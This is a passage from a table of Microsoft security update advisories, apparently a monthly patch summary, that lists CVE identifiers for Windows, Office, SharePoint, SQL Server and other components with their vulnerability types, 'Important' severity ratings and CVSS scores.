  No
  No
  Info
 
 
  CVE-2026-50665
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  7.8
  No
  No
  Info
 
 
  CVE-2026-56192
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-56195
  Microsoft Office
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-47290
  Microsoft Office
  Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50301
  Microsoft Office
  Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55017
  Microsoft Office
  Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55125
  Microsoft Office
  Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55133
  Microsoft OneNote
  Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-58636
  Microsoft PC Manager
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50438
  Microsoft PC Manager
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-58647
  Microsoft PowerBI
  Report Server Spoofing Vulnerability
  Important
  8
  No
  No
  Spoofing
 
 
  CVE-2026-55052
  Microsoft SharePoint
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-58277
  Microsoft SharePoint
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-55051
  Microsoft SharePoint
  Server Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-54108
  Microsoft SharePoint
  Server Spoofing Vulnerability
  Important
  6.5
  No
  No
  Spoofing
 
 
  CVE-2026-55016
  Microsoft SharePoint
  Server Spoofing Vulnerability
  Important
  4.6
  No
  No
  Spoofing
 
 
  CVE-2026-55019
  Microsoft SharePoint
  Server Spoofing Vulnerability
  Important
  4.6
  No
  No
  Spoofing
 
 
  CVE-2026-55020
  Microsoft SharePoint
  Server Spoofing Vulnerability
  Important
  4.6
  No
  No
  Spoofing
 
 
  CVE-2026-55021
  Microsoft SharePoint
  Server Spoofing Vulnerability
  Important
  7.3
  No
  No
  Spoofing
 
 
  CVE-2026-55030
  Microsoft SharePoint
  Server Spoofing Vulnerability
  Important
  4.6
  No
  No
  Spoofing
 
 
  CVE-2026-55034
  Microsoft SharePoint
  Server Spoofing Vulnerability
  Important
  7.3
  No
  No
  Spoofing
 
 
  CVE-2026-55126
  Microsoft SharePoint
  Server Spoofing Vulnerability
  Important
  7.3
  No
  No
  Spoofing
 
 
  CVE-2026-55135
  Microsoft SharePoint
  Server Spoofing Vulnerability
  Important
  4.6
  No
  No
  Spoofing
 
 
  CVE-2026-56157
  Microsoft SharePoint
  Server Spoofing Vulnerability
  Important
  5.4
  No
  No
  Spoofing
 
 
  CVE-2026-47296
  Microsoft SQL Server
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-55002
  Microsoft SQL Server
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-47295
  Microsoft SQL Server
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-50468
  Microsoft SQL Server
  Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-54116
  Microsoft SQL Server
  Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-42900
  Microsoft Windows App
  Store Elevation of Privilege Vulnerability
  Important
  8.1
  No
  No
  EoP
 
 
  CVE-2026-49784
  Microsoft Windows App
  Store Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50356
  Microsoft Windows App
  Store Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-49165
  Microsoft Windows App
  Store Information Disclosure Vulnerability
  Important
  7.1
  No
  No
  Info
 
 
  CVE-2026-54993
  Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-58610
  Microsoft Windows
  Media Foundation Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55050
  Microsoft Word
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55124
  Microsoft Word
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55142
  Microsoft Word
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-55032
  Microsoft Word Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55055
  Microsoft Word Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55038
  Microsoft Word Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55134
  Microsoft Word Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55128
  Microsoft Word Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-55130
  Microsoft Word Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50359
  Microsoft XML Core
  Services Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-57097
  Microsoft XML Security
  Feature Bypass Vulnerability
  Important
  6.4
  No
  No
  SFB
 
 
  CVE-2026-50346
  Netlogon RPC Elevation
  of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50402
  NTFS Elevation of
  Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50506
  OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-45646
  OData for ASP.NET and
  ASP.NET Core Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-54989
  Quality Windows
  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50365
  Remote Access
  Management service/API (RPC server) Elevation of Privilege Vulnerability
  Important
  8
  No
  No
  EoP
 
 
  CVE-2026-54990
  Remote Desktop Client
  Remote Code Execution Vulnerability
  Important
  9.8
  No
  No
  RCE
 
 
  CVE-2026-58594
  Remote Desktop Client
  Remote Code Execution Vulnerability
  Important
  8.8
  No
  No
  RCE
 
 
  CVE-2026-56190
  Remote Desktop
  Protocol Remote Code Execution Vulnerability
  Important
  9.8
  No
  No
  RCE
 
 
  CVE-2026-49783
  Secure Boot Security
  Feature Bypass Vulnerability
  Important
  7.8
  No
  No
  SFB
 
 
  CVE-2026-42990
  SQL Server ODBC driver
  Elevation of Privilege Vulnerability
  Important
  9.8
  No
  No
  EoP
 
 
  CVE-2026-49168
  Storage Spaces Direct
  Elevation of Privilege Vulnerability
  Important
  6.2
  No
  No
  EoP
 
 
  CVE-2026-48581
  Surface Broker SDMA
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-49180
  Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50455
  Universal Plug and
  Play (upnp.dll) Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-54111
  Universal Print
  Management Service Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-58543
  Universal Print
  Management Service Elevation of Privilege Vulnerability
  Important
  6.3
  No
  No
  EoP
 
 
  CVE-2026-58601
  Virtual Hard Disk
  (VHD) Miniport Driver Elevation of Privilege Vulernability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50520
  Visual Studio Code
  Remote Code Execution Vulnerability
  Important
  8.4
  No
  No
  RCE
 
 
  CVE-2026-45496
  Visual Studio Code
  Security Feature Bypass Vulnerability
  Important
  5.5
  No
  No
  SFB
 
 
  CVE-2026-57101
  Visual Studio Code
  Security Feature Bypass Vulnerability
  Important
  7.1
  No
  No
  SFB
 
 
  CVE-2026-57102
  Visual Studio Code
  Security Feature Bypass Vulnerability
  Important
  8.8
  No
  No
  SFB
 
 
  CVE-2026-47305
  Visual Studio Remote
  Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-49805
  Win32k Elevation of
  Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50297
  Win32k Elevation of
  Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50325
  Win32k Elevation of
  Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50489
  Win32k Elevation of
  Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-57095
  Win32k Elevation of
  Privilege Vulnerability
  Important
  6.2
  No
  No
  EoP
 
 
  CVE-2026-50416
  Win32k Information
  Disclosure Vulnerability
  Important
  3.3
  No
  No
  Info
 
 
  CVE-2026-56184
  Win32k Information
  Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50432
  Window Virtual
  Filtering Platform (VFP) Denial of Service Vulnerability
  Important
  5.3
  No
  No
  DoS
 
 
  CVE-2026-54119
  Windows Active
  Directory Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-57976
  Windows Active
  Directory Domain Services Denial of Service Vulnerability
  Important
  6.5
  No
  No
  DoS
 
 
  CVE-2026-50366
  Windows Active
  Directory Domain Services Denial of Service Vulnerability
  Important
  6.5
  No
  No
  DoS
 
 
  CVE-2026-49178
  Windows Active
  Directory Domain Services Remote Code Execution Vulnerability
  Important
  8.8
  No
  No
  RCE
 
 
  CVE-2026-58529
  Windows Active
  Directory Federation Services (ADFS) Information Disclosure Vulnerability
  Important
  7.1
  No
  No
  Info
 
 
  CVE-2026-54983
  Windows Active
  Directory Federation Services Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50695
  Windows Active
  Directory Federation Services Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50304
  Windows Active
  Directory Federation Services Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50368
  Windows Active
  Directory Federation Services Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50324
  Windows Active
  Directory Federation Services Denial of Service Vulnerability
  Important
  5.9
  No
  No
  DoS
 
 
  CVE-2026-50355
  Windows Active
  Directory Federation Services Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50411
  Windows Active
  Directory Federation Services Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-58631
  Windows Admin Center
  (WAC) Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-56196
  Windows Admin Center
  (WAC) Remote Code Execution Vulnerability
  Important
  8.8
  No
  No
  RCE
 
 
  CVE-2026-56197
  Windows Admin Center
  (WAC) Remote Code Execution Vulnerability
  Important
  8.8
  No
  No
  RCE
 
 
  CVE-2026-56169
  Windows Admin Center
  Elevation of Privilege Vulnerability
  Important
  8.1
  No
  No
  EoP
 
 
  CVE-2026-57107
  Windows Admin Center
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-56185
  Windows Admin Center
  Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-50312
  Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability
  Important
  4.7
  No
  No
  EoP
 
 
  CVE-2026-50462
  Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-57093
  Windows Ancillary
  Function Driver for WinSock Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-34346
  Windows Ancillary
  Function Driver for WinSock Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-48572
  Windows App Package
  Installer Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-48571
  Windows App Package
  Installer Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50400
  Windows App Package
  Installer Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50331
  Windows Application
  Model Core API Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-49803
  Windows AppX
  Deployment Extensions Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50351
  Windows Audio
  Compression Manager (ACM) Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50440
  Windows Audio Service
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-34328
  Windows Audio Service
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50406
  Windows Backup Engine
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50364
  Windows Backup Service
  Elevation of Privilege Vulnerability
  Important
  7.3
  No
  No
  EoP
 
 
  CVE-2026-42975
  Windows Bluetooth Port
  Driver Remote Code Execution
  Important
  8
  No
  No
  RCE
 
 
  CVE-2026-58538
  Windows Bluetooth
  Service Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-58638
  Windows Boot Loader
  Security Feature Bypass Vulnerability
  Important
  6
  No
  No
  SFB
 
 
  CVE-2026-58637
  Windows Client-Side
  Caching Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50384
  Windows Clip Service
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-49183
  Windows Clipboard
  Server Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50689
  Windows Clipboard
  Server Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50374
  Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability
  Important
  6.3
  No
  No
  EoP
 
 
  CVE-2026-58536
  Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-58613
  Windows Cloud Files
  Mini Filter Driver Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50401
  Windows Cloud Files
  Mini Filter Driver Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50697
  Windows Common Log
  File System Driver Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50667
  Windows Common Log
  File System Driver Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50421
  Windows Connected User
  Experiences and Telemetry Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50428
  Windows Container
  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability
  Important
  7.1
  No
  No
  Info
 
 
  CVE-2026-50352
  Windows Cryptographic
  Services Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50302
  Windows Cryptographic
  Services Security Feature Bypass Vulnerability
  Important
  4.2
  No
  No
  SFB
 
 
  CVE-2026-55144
  Windows Cryptography
  API: Next Generation (CNG) Tampering Vulnerability
  Important
  7.1
  No
  No
  Tampering
 
 
  CVE-2026-50347
  Windows Data.dll
  Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-49181
  Windows DHCP Client
  Elevation of Privilege Vulnerability
  Important
  7.5
  No
  No
  EoP
 
 
  CVE-2026-50683
  Windows DHCP Client
  Elevation of Privilege Vulnerability
  Important
  8
  No
  No
  EoP
 
 
  CVE-2026-58627
  Windows DHCP Server
  Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50685
  Windows DHCP Server
  Remote Code Execution Vulnerability
  Important
  7.5
  No
  No
  RCE
 
 
  CVE-2026-49807
  Windows DirectX
  Information Disclosure Vulnerability
  Important
  6.2
  No
  No
  Info
 
 
  CVE-2026-49175
  Windows DNS Client
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50487
  Windows DNS Client
  Elevation of Privilege Vulnerability
  Important
  8.1
  No
  No
  EoP
 
 
  CVE-2026-50465
  Windows DNS Client
  Tampering Vulnerability
  Important
  7.1
  No
  No
  Tampering
 
 
  CVE-2026-49169
  Windows DNS Server
  Remote Code Execution Vulnerability
  Important
  8
  No
  No
  RCE
 
 
  CVE-2026-50426
  Windows DNS Server
  Remote Code Execution Vulnerability
  Important
  6.8
  No
  No
  RCE
 
 
  CVE-2026-50424
  Windows Domain
  Controller Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-50300
  Windows DWM Core
  Library Information Disclosure 
  Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50437
  Windows DWM Core
  Library Information Disclosure 
  Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-34348
  Windows Event Logging
  Service Information Disclosure Vulnerability
  Important
  6.5
  No
  No
  Info
 
 
  CVE-2026-50502
  Windows Event Logging
  Service Remote Code Execution Vulnerability
  Important
  8
  No
  No
  RCE
 
 
  CVE-2026-33842
  Windows File Explorer
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-40422
  Windows File Explorer
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-41087
  Windows File Explorer
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50473
  Windows File Explorer
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50442
  Windows File Explorer
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50389
  Windows File Explorer
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50456
  Windows File Explorer
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-57084
  Windows File Explorer
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-57091
  Windows File History
  Service Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50405
  Windows Filtering
  Platform Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-49172
  Windows FTP Service
  Remote Code Execution Vulnerability
  Important
  9.8
  No
  No
  RCE
 
 
  CVE-2026-50387
  Windows GDI Elevation
  of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-54122
  Windows GDI+ Remote
  Code Execution Vulnerability
  Important
  8.4
  No
  No
  RCE
 
 
  CVE-2026-50483
  Windows Graphics
  Component Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-58609
  Windows Graphics
  Component Remote Code Execution Vulnerability
  Important
  7.8
  No
  No
  RCE
 
 
  CVE-2026-50391
  Windows Group Policy
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50310
  Windows Human
  Interface Device Information Disclosure Vulnerability
  Important
  4.7
  No
  No
  Info
 
 
  CVE-2026-50485
  Windows Hyper-V Denial
  of Service Vulnerability
  Important
  4.5
  No
  No
  DoS
 
 
  CVE-2026-54129
  Windows Hyper-V
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50315
  Windows Image
  Acquisition Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-58534
  Windows Input Method
  Editor (IME) Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-50490
  Windows Installer
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-58540
  Windows Installer
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50425
  Windows Internal
  System User Profile Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50293
  Windows Internal Task
  Bar Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-49167
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  4.7
  No
  No
  EoP
 
 
  CVE-2026-49173
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-54132
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  6.8
  No
  No
  EoP
 
 
  CVE-2026-49795
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-49798
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  9.3
  No
  No
  EoP
 
 
  CVE-2026-49808
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50354
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7.1
  No
  No
  EoP
 
 
  CVE-2026-50332
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50377
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  5.5
  No
  No
  EoP
 
 
  CVE-2026-50390
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50423
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50397
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50436
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50399
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50459
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50477
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-50478
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50484
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50673
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-58532
  Windows Kernel
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50294
  Windows Kernel
  Information Disclosure Vulnerability
  Important
  6.2
  No
  No
  Info
 
 
  CVE-2026-50316
  Windows Kernel
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50419
  Windows Kernel
  Information Disclosure Vulnerability
  Important
  3.3
  No
  No
  Info
 
 
  CVE-2026-50463
  Windows Kernel
  Information Disclosure Vulnerability
  Important
  7.5
  No
  No
  Info
 
 
  CVE-2026-50475
  Windows Kernel
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50429
  Windows Kernel
  Information Disclosure Vulnerability
  Important
  8.2
  No
  No
  Info
 
 
  CVE-2026-58614
  Windows Kernel
  Security Feature Bypass Vulnerability
  Important
  5.5
  No
  No
  SFB
 
 
  CVE-2026-58545
  Windows Kernel
  Security Feature Bypass Vulnerability
  Important
  5.5
  No
  No
  SFB
 
 
  CVE-2026-58602
  Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50393
  Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50396
  Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50378
  Windows Key Guard
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50303
  Windows Key Guard
  Security Feature Bypass Vulnerability
  Important
  5.5
  No
  No
  SFB
 
 
  CVE-2026-40378
  Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability
  Important
  7.5
  No
  No
  DoS
 
 
  CVE-2026-49799
  Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability
  Important
  6.5
  No
  No
  DoS
 
 
  CVE-2026-50371
  Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-58544
  Windows Management
  Services Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50404
  Windows Media
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50358
  Windows Media
  Elevation of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-50336
  Windows Media
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50398
  Windows Media
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-50414
  Windows Media
  Elevation of Privilege Vulnerability
  Important
  7.5
  No
  No
  EoP
 
 
  CVE-2026-50379
  Windows Media
  Elevation of Privilege Vulnerability
  Important
  7.5
  No
  No
  EoP
 
 
  CVE-2026-50433
  Windows Media
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50676
  Windows Media
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50677
  Windows Media
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-34349
  Windows Media
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50394
  Windows Media
  Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-50415
  Windows Media
  Information Disclosure Vulnerability
  Important
  5.3
  No
  No
  Info
 
 
  CVE-2026-57083
  Windows Media Photo
  Codec Information Disclosure Vulnerability
  Important
  5.5
  No
  No
  Info
 
 
  CVE-2026-54115
  Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50447
  Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability
  Important
  9.8
  No
  No
  RCE
 
 
  CVE-2026-50505
  Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability
  Important
  7.5
  No
  No
  RCE
 
 
  CVE-2026-50342
  Windows MIDI Service
  Module Elevation of Privileges Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-56183
  Windows MIDI Service
  Module Elevation of Privileges Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-56187
  Windows MIDI Service
  Module Elevation of Privileges Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-58635
  Windows Narrator
  Braille Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50500
  Windows Netlogon
  Elevation of Privilege Vulnerability
  Important
  7.5
  No
  No
  EoP
 
 
  CVE-2026-50476
  Windows Network
  Connections Service Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50450
  Windows Network
  Connections Service Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-56650
  Windows Network File
  System Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-56649
  Windows Network File
  System Remote Code Execution Vulnerability
  Important
  5.9
  No
  No
  RCE
 
 
  CVE-2026-50470
  Windows Network Policy
  Server SNMP Information Disclosure Vulnerability
  Important
  7.5
  No
  No
  Info
 
 
  CVE-2026-50496
  Windows Network Policy
  Server SNMP Information Disclosure Vulnerability
  Important
  7.5
  No
  No
  Info
 
 
  CVE-2026-56194
  Windows NFS Server
  Elevation of Privilege Vulnerability
  Important
  8.8
  No
  No
  EoP
 
 
  CVE-2026-56648
  Windows NFS Server
  Elevation of Privilege Vulnerability
  Important
  7.5
  No
  No
  EoP
 
 
  CVE-2026-50337
  Windows Notification
  Elevation of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-49789
  Windows NTFS Elevation
  of Privilege Vulnerability
  Important
  7.3
  No
  No
  EoP
 
 
  CVE-2026-50412
  Windows NTFS Elevation
  of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50422
  Windows NTFS Elevation
  of Privilege Vulnerability
  Important
  7.8
  No
  No
  EoP
 
 
  CVE-2026-50672
  Windows NTFS Elevation
  of Privilege Vulnerability
  Important
  7
  No
  No
  EoP
 
 
  CVE-2026-56175
  Windows NTFS Elevation
  of Privilege Vulnerability
  Important
